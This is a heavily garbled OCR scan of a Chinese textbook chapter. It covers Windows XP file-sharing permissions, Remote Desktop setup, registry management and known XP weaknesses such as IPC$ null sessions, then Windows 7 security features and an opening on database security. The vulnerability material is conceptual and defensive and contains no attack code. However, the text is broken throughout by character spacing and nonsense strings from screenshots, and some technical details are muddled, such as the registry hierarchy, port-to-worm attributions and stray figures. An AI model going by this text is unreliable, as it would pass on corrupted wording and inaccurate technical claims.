共享 的 ,选中 要 共享 的 文件 , 右 击 鼠 标 弹出 菜单 mR 自 定义 | 
共享 和 安全 
后 选择 “共享 和 安全 ”, 出 现 如 图 4-10 所 示 的 共享 || 。 呈 "9 过 人 计 竺 和 和 各 地 轩 避 共 字 这 个 文件 
设置 窗 Hs 共享 整个 驱动 器 需要 并 慎 ,系统 会 提 用 只有 他 可 
示 用 户 ,必要 情况 下 再 开启 。 $ 这 个 廊 件 实 设 为 专用 
de i 
设置 简单 文件 共享 ,网 络 上 的 任何 用 户 都 可 共 他 名 。 


| 在 网 络 上 共享 这 个 文件 夹 @) 


以 访问 共享 资源 ,无 须 密码 ,安全 级 别 非常 低 。 
要 保证 安全 的 共享 资源 ,需要 使 用 高 级 文件 共 
享 , 即 设置 访问 权限 的 共享 方式 。 要 更 改 共 享 方 
式 , 需 做 如 下 设置 : 在 资源 管理 器 中 单 击 “ 工 具 ” 
菜单 ,选择 “文件 夹 选项 ”, 然 后 单 击 “ 查 看 ”标签 ， 
在 “文件 和 文件 夹 ”列表 中 ,清除 “使 用 简单 文件 
共享 ” 复 选 框 , 单 击 “ 应 用 到 所 有 文件 夹 ” 按 钮 ,再 
单 击 “ 确 定 ” 按 钮 关闭 对 话 框 。 如 图 4-11 所 示 。 


共享 名 WD: iid 


允许 网 络 用 户 更 改 我 的 文件 吕 ) 
了 解 共享 和 安全 的 更 多 信息 。 


.已 Windows 防火 墙 配置 为 允许 此 文件 夹 与 网 络 上 其 他 计算 
机 共享 。 
查看 Windows 防火 墙 设置 


确定 ] 取消 应 用 必 ) 


图 4-10 简单 文件 共享 方式 
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再 次 共享 文件 时 ,就 增加 了 安全 控制 ,如 图 4-12 所 示 。 


党 用 软件 属性 
[常规 共享 ”| 安全 |[ 自 定义 | 
| 区 您 可 以 与 网 络 上 的 其 他 用 户 共享 该 文件 赤 。 要 共享 
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文件 夹 视图 i 该 文件 夹 ， 请 单 击 “ 共 吾 此 文件 夹 ”。 
3 您 可 局 
RE te 
用 到 所 有 文件 夹 亿 | 重 置 所 有 文件 夹 下) 全 共享 此 文件 夹 @) 
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图 4-11 更 改 共享 方式 图 4-12 高 级 文件 共享 方式 


在 图 4-12 的 “共享 ”选项 卡 中 ,可 以 设置 共享 访问 的 用 户 数 限制 ,还 可 以 进行 用 户 权限 
设置 。 单 击 “ 权 限 ” 按 钮 ,弹出 权限 设置 窗口 。 一 般 情 况 下 ,不 允许 网 络 中 的 所 有 用 户 访问 共 
享 资源 ,因此 要 选中 Everyone 用 户 组 , 单 击 “ 删 除 ” 按 钮 。 如 图 4-13 所 示 。 


[?'x 
国营 用 软件 的 权限 


常规 | 共享 | 安全 | 自 定义 


区 | 


人 〇 不 共享 此 文件 夹 如 

全 共享 此 文件 天 G) 一 一 一 

共享 名 如; | 党 用 软件 

注释 避 ) 

用 户 数 限制 。 @ 允许 最 多 用 户 如 
口 允 详 的 用 户 数量 名 


要 的 通过 区 这 站 请 广 作 灾 的 用 户 设 晤 是 
权限 ,请 单 击 “ 权 限 ”。 


了 的 权限 到) 
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Ee 4 请 单 击 “ 缓 


图 4-13 ”删除 Everyone 用 户 组 


单 击 “ 添 加 ”按钮 , 可 以 添加 特定 的 用 户 来 访问 共享 资源 ,并 且 可 以 指定 其 权限 。 如 
图 4-14 所 示 ,添加 了 一 个 系统 用 户 sn 到 访问 列表 中 ,然后 把 其 访问 权限 选择 为 “完全 控 
制 ”, 即 可 以 读 取 和 更 新 共享 资源 。 

2. 远程 管理 机 制 

Windows XP 系统 提供 了 远程 管理 的 功能 ,包括 远程 桌面 连接 .远程 协助 .远程 唤醒 计 
算 机 等 ,下 面 就 远程 桌面 连接 功能 进行 讲解 。 

“远程 桌面 ?是 Windows XP 的 内 置 功能 ,所 以 在 安装 完 Windows XP 后 ,就 可 以 使 用 
“远程 桌面 ”功能 了 。“ 远 程 桌面 "包括 服务 器 端 和 客户 端 ,每 个 Windows XP 系统 都 同时 包 
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图 4-14 添加 共享 资源 访问 用 户 和 权限 


括 客 户 端 和 服务 器 端 , 也 就 是 用 户 既 可 以 将 自己 的 Windows XP 系统 当 作客 户 端 来 连接 到 
其 他 安装 了 Windows XP 系统 的 计算 机 上 ,实现 远程 控制 ,也 可 以 当成 服务 器 端 ,允许 其 他 
计算 机 来 远程 控制 自己 的 Windows XP 系统 。 

远程 桌面 功能 是 一 个 让 用 户 感到 很 实用 的 功能 , 它 使 得 很 多 用 户 可 以 在 家 里 或 外 地 出 
差 时 访问 公司 的 计算 机 ,完成 业务 处 理 等 功能 。 

(1) 设置 “远程 桌面 ?服务 器 端 。 

设置 服务 器 端 需要 两 个 主要 的 工作 ,第 一 是 要 设置 一 个 加 密 账户 (远程 登录 必须 使 用 密 
码 ) ,第 二 是 要 将 这 个 加 密 账 户 添加 到 远程 登录 的 许可 名 单 中 。 上 有 具体 操作 步骤 如 下 。 

@ 在 “控制 面板 ”中 ,选择 “用 户 账户 ”, 在 弹出 的 窗口 中 , 单 击 “ 创 建 一 个 新 账户 ”。 为 新 
账户 输入 一 个 名 称 , 如 “amy”, 然 后 将 其 账户 类 型 设置 为 “计算 机 管理 员 ”, 并 为 其 设置 一 个 
足够 复杂 的 密码 。 

@ 在 系统 桌面 上 , 右 击 “ 我 的 电脑 ”, 在 出 现 的 快捷 菜单 中 选择 “属性 ”。 在 弹出 的 “系统 
属性 ”对 话 框 中 单 击 “ 远 程 ”标签 ,如 图 4-15 所 示 。 

@ 勾 选 “远程 桌面 "下 的 “允许 用 户 远 程 连接 到 此 计算 机 ” 复 选 框 ,然后 单 击 “ 选 择 远程 
用 户 ” 按 钮 ,在 弹出 的 对 话 框 中 单 击 “ 添 加 ”按钮 ,弹出 “选择 用 户 ” 对 话 框 ,输入 上 一 步 中 创建 
的 加 密 账 户 ( 本 例 中 是 amy) ,然后 单 击 “ 确 定 ” 按 钮 ,用 户 就 可 以 进行 远程 访问 了 。 至 此 , 服 
务 器 端的 设置 完成 。 


[这 天 “| 计生 机 各 | 硬件 | 高 “| 隶 统 还 原 | 自动 更 各 证 和 
| 选择 可 以 从 另 一 个 位 置 使 用 这 台 计算 机 的 方式 。 
远程 协助 
多 话 从 这 各 计算 机 发 送 远程 协助 洲 请 到 ) 
什么 是 渤 程 协 助 ? 


回 区 许 用户 远 程 连 接 到 此 计算 机 CC) 
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buu-sn 


什么 是 远程 点 面 ? G) 
选择 远程 用 户 ). | 
远程 连接 到 此 计算 机 的 用 户 的 用 户 账户 必须 包含 密码。 


全 ndows 防火 墙 格 配 置 为 允许 远程 桌面 连接 到 此 计算 机 。 


图 4-15 设置 “远程 桌面 "服务 器 端 
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(2) 设置 “远程 桌面 ”客户 端 。 

登录 “远程 桌面 "服务 器 的 终端 称 为 客户 端 ,客户 端的 操作 系统 可 以 是 Windows XP 系 
统 , 也 可 以 是 别 的 操作 系统 ,如 Windows 2000,Windows 2003 等 。 下 面 以 Windows XP 系 
统 为 例 进 行 讲解 。 

具体 操作 步骤 如 下 。 

Q@ 单 击 “ 开 始 ”, 选 择 “ 所 有 程序 ”| “附件 ”| “通讯 ”| “远程 桌面 连接 ”, 如 图 4-16 所 示 。 
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图 4-16 启动 * 远 程 桌面 "客户 端 


@ 在 “远程 桌面 连接 ”对 话 框 中 ,输入 要 访问 的 计算 机 IP 地 址 或 者 计算 机 名 称 , 单 击 
“连接 ”按钮 ,如 图 4-17 所 示 。 


柜 远程 泉 面 连 接 


计算 机 (CC); |10.11.5.211| 


图 4-17 输入 远程 计算 机 地 址 


@ 在 弹出 的 登录 对 话 框 中 ,输入 远程 登录 用 户 和 密码 , 即 可 以 进行 远程 控制 了 。 
注意 : 使 用 计算 机 管理 员 作为 远程 登录 账户 有 很 大 的 安全 风险 ,所 以 一 定 要 确认 远程 
登录 者 是 一 个 可 信 的 人 ,或 者 干脆 就 是 自己 。 


4.6.4 Windows XP 系统 的 注册 表 管 理 


注册 表 的 英文 名 称 为 registry, 是 登记 ,注册 的 意思 , 它 其实 是 一 个 保存 Windows 配置 
信息 的 庞大 的 数据 库 。 在 注册 表 中 存放 了 所 有 的 硬件 信息 、Windows 的 信息 以 及 和 
”28 > 


Windows 有 联系 的 应 用 程序 的 信息 。Windows 通过 注册 表 所 描述 的 硬件 驱动 程序 和 参数 ， 
来 装 人 硬件 的 驱动 程序 、 决 定 分 配 的 资源 及 所 分 配 资源 之 间 是 否 存在 冲突 等 。 注 册 表 中 存 
放 的 Windows 的 信息 则 决定 了 Windows 的 桌面 外 观 、 浏 览 器 界面 、 系 统 性 能 等 。 应 用 程序 
的 安装 注册 信息 .启动 参数 等 信息 也 存放 在 注册 表 中 。 用 户 可 以 通过 注册 表 编 辑 器 对 注册 
表 进 行 查看 、 编 辑 或 修改 。 

打开 注册 表 的 方式 为 : 单 击 “ 开 始 ”, 选 择 “ 运 行 ”, 输 [文件 @ 编 各 和 可 看 收藏 关公 项 助 0) 
入 regedit 命令 , 即 打开 了 “注册 表 编 辑 器 ”窗口 ,如 | ”S29 Es 
图 4-18 所 示 。 由 INR 

在 图 4-18 中 ,左边 列 出 了 注册 表 项 ,右边 子 窗口 显 | wp pom 
示 某 个 注册 表 项 的 值 项 ,包括 名 称 、 类 型 和 数据 。 各 注 
册 表 项 功能 说 明 如 下 。 

(1) HKEY_CLASSES_ROOT: 是 HKEY_LOCAL_MACHINENSoftware 的 子 项 。 
此 处 存储 的 信息 可 以 确保 当 使 用 Windows 资源 管理 器 打开 文件 时 ,打开 正确 的 程序 。 

(2) HKEY_CURRENT_USER: 包含 当前 登录 用 户 的 配置 信息 的 根 目 录 。 用 户 文 件 
夹 . 屏 幕 颜 色 和 控制 面板 等 设置 均 存 储 在 此 处 。 该 信息 被 称 为 用 户 配 置 文件 。HKEY _ 
CURRENT_USER 是 HKEY_USERS 的 子 项 。 

(3) HKEY_LOCAL_MACHINE: 包含 该 计算 机 针对 于 任何 用 户 的 配置 信息 。 

(4) HKEY_USERS: 包含 计算 机 上 所 有 用 户 的 配置 文件 的 根 目录 。 

(5) HKEY_CURRENT_CONFIG: 包含 本 地 计算 机 在 系统 启动 时 所 用 的 硬件 配置 文 
件 信 息 。 

注册 表 是 以 树 形 结构 存在 的 ,就 像 是 资源 管理 器 一 样 ,不 过 它 的 目录 项 的 含义 是 不 同 
的 ,一 共有 5 种 不 同 的 类 型 ,包括 : 

(1) 根 键 : 注册 表 的 根 目 录 , 相 当 于 磁盘 上 的 根 目 录 如 : C:\。 

(2) 键 和 子 键 : 相当 于 磁盘 上 的 子 目 录 , 在 键 下 是 子 键 ,就 像 目 录 可 以 包括 子 目 录 


图 4-18 注册 表 编 辑 器 


一 样 。 
(3) 键 值 项 : 相当 于 磁盘 上 的 文件 ,在 一 个 键 或 子 键 下 可 以 包含 一 个 或 多 个 键 值 
项 。 键 值 项 由 键 值 名 、 数 据 类 型 和 键 值 3 个 部 分 组 成 ,格式 为 “ 键 值 名 : 数据 类 型 : 
键 值 ”。 

(4) 键 值 类 型 : 注册 表 有 3 种 键 值 类 型 : 

。 DWORD: 1 一 8 位 的 十 六 进 制 数据 作为 双 字 。 

。 字符 串 值 : 存储 的 字符 串 。 

。 二 进 制 : 是 一 个 十 六 进 制 数 ,作为 一 个 字 节 解释 。 

合理 地 利用 注册 表 对 系统 进行 设置 .优化 和 管理 是 保证 系统 安全 运行 的 重要 手段 。 下 
面 仅 就 几 个 实例 讲解 说 明 注 册 表 管理 的 方式 及 重要 性 。 

1. 备份 注册 表 

如 果 注 册 表 遭 到 破坏 , Windows 将 不 能 运转 ,因此 为 了 确保 Windows 系统 的 安全 ,可 
以 对 注册 表 进 行 备份 ,以 便 在 注册 表 被 破坏 时 ,能 通过 正常 的 注册 表 进 行 恢复 。 

备份 注册 表 的 步骤 如 下 : 

(1) 进入 “注册 表 编 辑 器 ”窗口 。 
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(2) 选中 “我 的 电脑 “, 右 击 鼠 标 ,从 快捷 菜单 中 选择 “ 导 
”命令 ,如 图 4-19 所 示 。 

(3) 输入 备份 的 注册 表 文 件 名 ,并 且 选 择 保存 的 路 径 ， 
该 文件 的 扩展 名 为 reg, 用 户 可 以 通过 任何 文本 编辑 器 打开 
进行 编辑 。 

要 恢复 注册 表 , 可 以 直接 双击 保存 的 reg 文件 ,或 者 打 
开 * 注 册 表 编辑 器 ”窗口 ,导入 可 用 的 注册 表 文 件 。 

2. 使 用 注册 表 给 控制 面板 上 锁 

“控制 面板 ?是 操作 系统 中 重要 的 系统 设置 平台 ,通过 它 可 以 进行 用 户 账 户 的 设置 .输入 
法 和 语言 的 设置 .添加 \ 删 除 程序 等 ,对 控制 面板 的 恶意 修改 将 可 能 导致 系统 混乱 。 可 以 通 
过 注册 表 对 控制 面板 进行 加 锁 管 理 , 防 止 他 人 使 用 。 

具体 操作 步骤 如 下 。 

(1) 进入 "注册 表 编 辑 器 ?窗口 。 

(2) 在 “注册 表 编 辑 器 ” 左 侧 子 窗口 ,依次 展开 “HKEY_CLASSES_ROOT\CLSID\ 
{21EC2020-3AEA-1069-A2DD-08002B30309D}\InProServer32” 分 支 ,将 右 侧 子 窗口 的 “上 默 
认 ” 项 的 数据 “shell32. dll” 的 后 面 填 上 一 个 减 号 (一 ), 将 其 改 为 “shell32. dll 一 ”。 如 图 4-20 
所 示 。 


图 4-19 备份 注册 表 


琴 加 f2130DODD-8E7F-43DF-95C6-555713D49FD2} 现 || 多 焉 
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直 国 {2206CDB0-19C1-11D1-89E0-00C04FDTAB29} 
由 国 {2208CDB2-19C1-11D1-89E0-00C04FDTAB29} 
四国 {2208CDB3-19C1-11D1-89E0-00C04FD7AB29} 


图 4-20 通过 注册 表 给 控制 面板 加 锁 


3. 禁用 注册 表 编 辑 器 

很 多 黑客 或 者 木马 程序 通过 修改 系统 的 注册 表 ,使 得 系统 发 生 错误 和 混乱 ,因此 对 注册 
表 的 保护 非常 重要 ,可 以 在 “组 策略 ”中 禁止 访问 注册 表 编 辑 器 ,以 防止 他 人 修改 注册 表 。 

具体 操作 步骤 如 下 。 

(1) 单 击 “ 开 始 ”, 选 择 “ 运 行 ”, 然 后 输入 gpedit. msc 命令 ,弹出 “组 策略 ”窗口 。 

(2) 在 窗口 左 侧 , 依 次 展开 * 用 户 配置 ?| “管理 模板 ”|“ 系 统 ” 分 支 , 双 击 控制 台 右 侧 窗 口 
中 的 “阻止 访问 注册 表 编 辑 工 具 ” 项 ,弹出 “阻止 访问 注册 表 编 辑 工 具 ” 属 性 对 话 框 ,在 “设置 ” 
选项 卡 下 ,选中 “已 启用 ”, 单 击 * 确 定 ? 完 成 设置 。 

以 后 在 试图 启动 注册 表 编 辑 器 的 时 候 , 系 统 将 提示 “注册 编辑 器 已 被 管理 员 停 用 ”。 如 
果 要 恢复 注册 表 编 辑 器 的 使 用 ,在 图 4-21 所 示 的 最 后 一 个 对 话 框 中 选中 “未 配置 > 就 可 
以 了 。 

如 果 要 防止 使 用 其 他 注册 表 编 辑 工具 打开 注册 表 , 可 以 双击 如 图 4-21 所 示 的 “只 运行 
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至 少 Microsoft Windows 2000 
[一 至 由 


鲁 关 闭 Windows Update 设备 3 到 


图 4-21 禁用 注册 表 编 辑 器 


许可 的 Windows 应 用 程序 ”, 弹 出 “只 运行 许可 的 Windows 应 用 程序 ”属性 对 话 框 ,在 “ 设 
置 ? 选 项 卡 中 ,选中 “已 启用 ”, 即 可 防止 使 用 其 他 注册 表 编 辑 工具 打开 注册 表 。 


4.6.5 Windows XP 系统 的 缺陷 与 防范 


系统 漏洞 通常 是 由 于 系统 开发 过 程 中 程序 设计 不 严谨 或 者 由 于 某 些 功能 自身 而 留 下 
的 ,包括 身份 认证 ,访问 控制 .服务 漏洞 等 多 个 方面 。 系 统 上 已 知 的 漏洞 被 称 为 “通用 漏洞 披 
露 ”(CVEs) , 它 是 由 MITRE 组 织 汇编 整理 的 漏洞 信息 。 漏 洞 使 系统 非常 危险 , 它 可 以 使 
攻击 者 或 病毒 很 容易 取得 系统 最 高 权限 ,然后 可 以 对 系统 进行 各 种 破坏 ,让 用 户 无 法 上 网 ， 
甚至 对 一 些 分 区 进行 格式 化 操作 , 盗 取 用 户 的 各 种 账号 密码 等 。 

见 的 Windows XP 操作 系统 漏洞 

Windows XP 在 易 用 性 、 多 功能 ,尤其 是 网 络 共享 和 远程 帮助 等 方面 下 了 很 大 工夫 ,但 
是 很 多 的 功能 在 方便 用 户 的 同时 ,也 留 下 了 可 以 被 入 侵 者 利用 的 漏洞 和 后 门 。 常 见 的 
Windows XP 系统 的 漏洞 如 下 。 

(1) UPnP(universal plug and play, 通 用 即 插 即 用 软件 ) 的 漏洞 问题 ,UPnP 服务 可 以 
导致 著名 的 “缓冲 区 溢出 ”漏洞 ,由 于 UPnP 服务 运行 在 系统 的 上 下 文 ,攻击 者 如 果 利 用 漏 
洞 成 功 ,可 以 完全 控制 主机 。 对 于 一 般 用 户 来 说 ,这 种 类 型 的 漏洞 是 最 难以 防范 的 ,因为 在 
漏洞 被 公布 之 前 ,他 们 根本 难以 知情 ,更 不 要 说 防范 。 

(2) 网 络 共享 功能 留 下 漏洞 。IPC $ 攻击 就 是 一 个 例子 , Windows XP 在 默认 安装 后 允 
许 任 何 用 户 通过 空 用 户 连接 (IPC $ ) 得 到 系统 所 有 账号 和 共享 列表 ,这 本 来 是 为 了 方便 局 
域 网 用 户 共 享 资源 和 文件 的 ,但 是 任何 一 个 远程 用 户 都 可 以 利用 这 个 空 的 连接 得 到 计算 机 
的 用 户 列表 。 黑 客 可 以 利用 这 项 功能 ,查找 系统 的 用 户 列 表 , 并 使 用 暴力 密码 破解 工具 ,对 
系统 进行 攻击 。 

(3) 远程 桌面 漏洞 。Windows XP 远程 桌面 会 把 用 户 名 以 明文 形式 发 送 到 连接 它 的 客 
户 端 。 发 送 的 用 户 名 可 以 是 远 端 主机 的 用 户 名 ,也 可 能 是 客户 端 常用 的 用 户 名 ,网 络 上 的 咱 
探 程序 可 能 会 捕获 到 这 些 账户 信息 。 
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(4) 快速 账号 切换 功能 造成 账号 锁定 漏洞 。Windows XP 快速 账号 切换 功能 设计 存在 
问题 ,用 户 可 以 利用 账号 快速 切换 功能 ,快速 地 重 试 登录 一 个 用 户 名 ,系统 认为 有 暴力 猜 解 
攻击 ,造成 全 部 非 管理 员 账 号 的 锁定 。 

(5)“ 自 注销 ”漏洞 。 热 键 功 能 是 Windows XP 的 系统 服务 之 一 ,一 旦 用 户 登 录 
Windows XP, 热 键 功能 也 就 随 之 启动 ,于 是 就 可 以 使 用 系统 默认 的 或 者 自己 设置 的 热 键 
了 。 假 如 电脑 没有 设置 屏幕 保护 程序 和 密码 , 当 用 户 离开 电脑 一 段 时 间 ,Windows XP 就 会 
很 聪明 地 进行 自动 注销 ,不 过 这 种 “注销 ”并 没有 真正 注销 ,所 有 的 后 台 程序 都 还 在 运行 ( 热 
键 功能 当然 也 没有 关闭 ) ,因此 ,其 他 人 虽然 进 不 了 你 的 桌面 ,看 不 到 你 的 电脑 里 放 了 些 什 
么 ,但 是 却 可 以 继续 使 用 热 键 。 此 时 如 果 有 人 在 你 的 机 器 上 用 热 键 启动 一 些 与 网 络 相 关 的 
敏感 程序 (或 服务 ) ,用 热 键 删除 机 器 中 的 重要 文件 ,或 者 用 热 键 进行 其 他 破坏 ,后 果 也 是 非 
常 严重 的 。 

(6) 自 启 动 服务 漏洞 。Windows XP 下 的 服务 程序 都 遵循 SCM (service control 
manager, 服 务 控制 管理 器 ) 的 接口 标准 ,它们 会 在 登录 系统 时 自动 运行 ,并 为 各 类 应 用 程序 
提供 支持 ,是 Windows XP 所 有 功能 实现 的 基础 。 相 当 数 量 的 系统 漏洞 都 是 由 于 系统 服务 
方面 的 缺陷 产生 的 ,而 更 多 的 是 基于 系统 服务 来 实现 的 ,如 果 到 互联 网 上 搜索 一 下 ,可 以 看 
到 很 多 关于 “关闭 垃圾 服务 ”这 样 的 话题 。 事 实 上 ,经 过 几 年 来 无 数 用 户 的 使 用 和 研究 ， 
Windows XP 的 系统 服务 程序 的 各 项 功能 已 经 得 到 深入 的 解析 ,从 结果 来 看 ,确实 有 着 相当 
数量 的 对 一 般 用 户 没有 价值 的 服务 也 就 是 “垃圾 服务 存在。 黑客 已 经 利用 系统 服务 的 漏 
洞 ,将 病毒 程序 .木马 等 设计 成 系统 服务 级 程序 ,甚至 是 用 这 种 程序 取代 原 有 的 系统 服务 ,以 
躲 过 杀毒 软件 和 防火 墙 的 监视 ,这 就 是 黑客 常用 的 "后门 ? 手 段 。 

2. Windows XP 安全 防范 策略 

虽然 Windows XP 存在 着 如 此 多 的 系统 漏洞 ,但 是 不 能 因此 而 放弃 使 用 Windows XP， 
事实 上 任何 一 个 操作 系统 都 存在 着 可 被 利用 的 漏洞 。 用 户 应 该 掌握 操作 系统 的 特点 ,采取 
有 效 的 安全 策略 ,避免 使 自己 成 为 系统 漏洞 的 受害 者 。Windows XP 系统 漏洞 安全 应 对 策 
略 要 做 到 如 下 几 点 。 

(1) 及 时 为 系统 打 补 丁 。 要 充分 利用 微软 发 布 的 免费 补丁 ,将 系统 的 自动 更 新 功能 打 
开 , 就 可 以 在 第 一 时 间 弥 补 系统 漏洞 ,减少 受到 漏洞 攻击 的 危险 。 

(2) 关闭 无 须 运 行 和 人 危险 的 服务 。 服 务 开 得 越 少 ,系统 就 越 安全 。 根 据 自 己 系 统 的 需 
要 ,把 那 无 须 使 用 和 有 人 危险 性 的 服务 都 关闭 。 

(3) 加 强 端 口 管 理 和 过 滤 。 端 口 是 网 络 数据 交换 的 出 入 口 ,做 好 端口 的 管理 和 过 滤 , 对 
系统 的 安全 性 有 着 极为 重要 的 帮助 。 过 滤 的 方法 是 : 打开 “控制 面板 ”1“ 网 络 连接 ”|“ 本 地 
连接 ”|“Internet 协议 (TCP/IP)”1“ 属 性 ”1“ 高 级 ”1“ 选 项 ”|“TCP/IP 筛选 ”1“ 属 性 ”, 添 加 设 
置 需要 过 滤 的 端口 。 对 于 一 般 用 户 ,可 禁用 一 下 常见 恶意 访问 端口 : 139 端口 (IPC 和 RPC 
漏洞 就 存在 于 此 )、445 端口 (修改 注册 表 端 口 )、3389( 冲 击 波 病毒 攻击 的 端口 )、4489( 远 程 
控制 软件 所 开启 的 服务 端 端口 ) 等 。 

(4) 删除 默认 共享 设置 。 可 以 通过 修改 注册 表 的 方法 来 防止 IPC$ 攻击 : 打开 注册 表 
编辑 器 ,将 HKEY LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Control\LSA 的 
RestrictAnonymous 项 设置 为 “1”, 就 能 禁止 空 用户 连 接 。 
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4.6.6 ”Windows 7 的 安全 性 


2009 年 ,微软 推出 Windows 7 操作 系统 。 其 命名 的 方式 不 同 于 Windows XP 和 
Windows Vista, 微 软 的 官方 解释 是 ,7 代表 公司 第 7 版 Windows 系统 。 在 安全 性 方面 ， 
Windows 7 系统 有 了 较 大 的 突破 和 改进 。 

Windows 7 去 掉 了 最 初 随 Windows XP SP2 推出 的 安全 中 心 (security center) , 改 用 行 
动 中 心 (action center) 取代。 行动 中 心包 含 对 10 大 Windows 功能 的 提示 : 安全 中 心 ; 问 
题 .报告 与 解决 方案 ; Windows 防御 ;Windows 更 新 ;故障 检查 和 修复 ;网 络 访问 保护 ; 备份 
与 恢复 (backup and restore); 复原 (recovery); 以 及 使 用 者 账户 控制 (user account control， 
UAC)。Windows 7 中 具体 的 安全 措施 体现 在 如 下 方面 。 

1. Windows BitLocker 驱动 器 加 密 , 保 障 文件 安全 

Windows BitLocker 驱动 器 加 密 是 一 种 全 新 的 安全 功能 ,可 以 阻止 没有 授权 的 用 户 访 
问 该 驱动 器 下 的 所 有 文件 ,该 功能 通过 加 密 Windows 操作 系统 卷 上 存储 的 所 有 数据 可 以 
更 好 地 保护 计算 机 中 数据 的 安全 。 

加 密 驱 动 器 的 操作 步骤 为 : 打开 控制 面板 里 的 “系统 和 安全 ”, 选 择 “BitLocker 驱动 器 
加 密 ”, 选 择 要 加 密 的 盘 符 , 单 击 “ 启 用 BitLocker ”, 然 后 会 提示 正在 初始 化 驱动 器 ,然后 设 
置 驱 动 器 加 密 的 密码 , 单 击 * 下 一 步 ”。 为 了 防止 忘记 密码 ,还 可 以 设置 BitLocker 恢复 密 钥 
文件 ,最 后 单 击 “ 启 动 加 密 ” 就 可 以 了 。 这 样 ,如 果 要 访问 该 磁盘 驱动 器 ， Wr 

在 Windows 7 中 ,BitLocker 可 以 对 移动 磁盘 进行 加 密 , 这 对 于 计算 机 用 户 来 说 是 一 
非常 实用 的 功能 , 必 将 得 到 广泛 的 应 用 。 

2. Direct Access 功能 

Direct Access 功能 是 Windows 7 中 新 的 安全 功能 , 它 可 以 让 远程 用 户 不 借助 VPN 就 
可 以 通过 互联 网 安全 地 接 人 公司 的 内 网 。 ee 
理 远 程 电脑 ,甚至 可 以 在 远程 电脑 接 和 人 互联 网 时 自动 对 其 进行 更 新 ,而 不 管 这 台电 脑 是 
经 接 人 了 企业 内 网 。Direct Access 还 支持 多 种 认证 机 制 的 智能 卡 以 及 IPSec 和 IPv6 人 
加 密 传输 。 

3. 生物 特征 识别 架构 

Windows 7 在 安全 性 上 的 一 项 重要 改进 就 是 内 置 了 生物 特征 识别 架构 (windows 
biometric framework)。 在 Windows 7 之 前 ,指纹 等 生物 特征 识别 方式 都 是 通过 第 三 方 软 
件 实现 的 ,这 无 疑 缺 乏 安 全 性 和 稳定 性 。 而 在 Windows 7 中 ,系统 将 生物 特征 识别 整合 入 
操作 系统 中 , 变 成 系统 登录 的 一 种 标准 方式 ,并 且 可 以 通过 系统 对 识别 设备 和 特征 库 进行 
管理 。 

4. Windows Filtering Platform (WFP) 

Windows Filtering Platform (WFP) 是 在 Vista 中 引入 的 API 集 。 在 Windows 7 中 ， 
开发 人 员 可 以 通过 这 套 API 集 将 Windows 防火 墙 嵌 入 他 们 所 开发 的 软件 中 。 这 种 情况 使 
得 第 三 方程 序 可 以 在 恰当 的 时 候 关 闭 Windows 防火 墙 的 某 些 设置 。 

5. DNSSec 

Windows 7 支持 DNSSec (域名 系统 安全 ), 它 将 安全 性 扩展 到 了 DNS 平台 。 有 了 
DNSSec, 一 个 DNS 区 域 就 可 以 使 用 数字 签名 技术 ,并 通过 这 种 技术 鉴定 所 收 到 的 数据 的 可 
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信 度 。 

6. AppLocker 功能 

AppLocker 即 “ 应 用 程序 控制 策略 ”, 是 Windows 7 系统 中 新 增加 的 一 项 安全 功能 。 
AppLocker 使 得 IT 管理 员 可 以 方便 地 配置 企业 用 户 权 限 , 限 制 用 户 在 计算 机 上 可 运行 的 
应 用 程序 .文件 安装 以 及 应 用 脚本 。 

7. Internet Explorer 8 

Windows 7 所 带 的 浏览 器 是 IE8, 它 所 提供 的 安全 性 包括 : 
代替 /扩展 了 IE7 中 的 网 络 钓 鱼 过 滤器 。 


。 SmartScreen Filter 


。 The XSS Filter 防御 跨 界 脚本 攻击 。 
。 域名 高 亮 一 一 对 URL 的 重点 部 分 进行 强调 ,从 而 让 用 户 更 清楚 自己 所 访问 的 站 点 


是 否 正 确 。 

。 更 好 的 针对 ActiveX 的 安全 控制 。 
数据 执行 保护 (DEP) 上 默认 为 开启 状态 。 

根据 NSS Labs 的 调查 显示 ,IE8 是 目前 最 安全 的 浏览 器 之 一 。NSS Labs 研究 报告 显 
示 ,在 拦截 社会 工程 类 恶意 软件 方面 ,2010 年 第 1 季度 ,IE8 拦截 了 85% 的 社会 工程 类 恶意 
软件 ,Firefox 3 拦截 率 为 29%% ,苹果 Safari 拦截 率 为 29% ,Google Chrome 2 拦截 率 为 
17% ,而 Opera 10 拦截 率 不 足 1%。IE8 的 捆绑 可 以 为 Windows 7 用 户 在 浏览 网 页 的 时 候 
提供 更 加 安全 的 保证 。 


4.7 数据库 系统 安全 性 


随 着 计算 机 技术 的 飞速 发 展 ,各 行 各 业 越 来 越 重 视 数 据 的 存储 和 积累 ,数据 成 为 企业 的 
核心 资产 。 数 据 库 作为 数据 存储 和 管理 的 重要 软件 ,在 各 个 领域 得 到 了 广泛 的 应 用 ,但 随 之 
而 来 产生 了 数据 的 安全 问题 。 各 种 应 用 系统 的 数据 库 中 大 量 数据 的 安全 问题 ,敏感 数据 的 
防 窃取 和 防臭 改 问题 , 越 来 越 引 起 人 们 的 高 度 重视 。 数 据 库 系 统 的 安全 性 至 关 重 要 ,关系 到 
企业 兴衰 ,国家 安全 。 因 此 ,对 数据 库 安全 性 (尤其 是 网 络 数 据 库 安全 性 ) 的 研究 成 为 信息 安 
全 的 重要 议题 。 


4.7.1 数据 库 系统 安全 概述 


1. 数据 库 系 统 相 关 概 念 

数据 库 指 的 是 长 期 储存 在 计算 机 内 、 有 组 织 的 、 可 共享 的 大 量 数据 集合 。 数 据 库 系统 是 
指 带 有 数据 库 并 采用 该 数据 库 技 术 进 行 数据 管理 的 计算 机 系统 ,是 一 个 实际 可 运行 的 按照 
数据 库 方法 存储 、 维 护 和 向 应 用 系统 提供 数据 支持 的 系统 。 数 据 库 系统 一 般 由 4 个 部 分 组 
成 : 数据 库 ,数据 库 管 理 系 统 、 应 用 系统 、 数 据 库 管理 员 。 

数据 库 管理 系统 指 的 是 为 用 户 及 应 用 程序 提供 数据 访问 ,并 有 具有 对 数据 库 进 行 管理 、 维 
护 等 多 种 功能 的 软件 。 目 前 常用 的 数据 库 产品 都 是 数据 库 管理 系统 ,如 微软 公司 的 
SQL Server,Oracle 公司 的 Oracle,IBM 公司 的 DB2 等 。 

数据 库 管 理 员 是 全 面 负责 数据 库 系统 的 管理 .维护 的 人 员 ,主要 职责 有 : 参与 数据 库 设 
计 ,确定 数据 库 结 构 和 内 容 ;确保 数据 库 的 安全 性 和 完整 性 ;监督 和 控制 数据 库 的 使 用 和 
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运行 。 
